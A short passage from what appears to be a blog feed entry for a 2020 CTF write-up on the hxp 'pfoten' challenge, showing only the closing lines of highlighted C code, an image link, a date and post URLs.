class="p">}</span> <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p><img src="/images/hxp2020.png" alt="" /></p> Mon, 21 Dec 2020 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2020/12/21/hxp2020-pfoten.html https://mem2019.github.io/jekyll/update/2020/12/21/hxp2020-pfoten.html jekyll update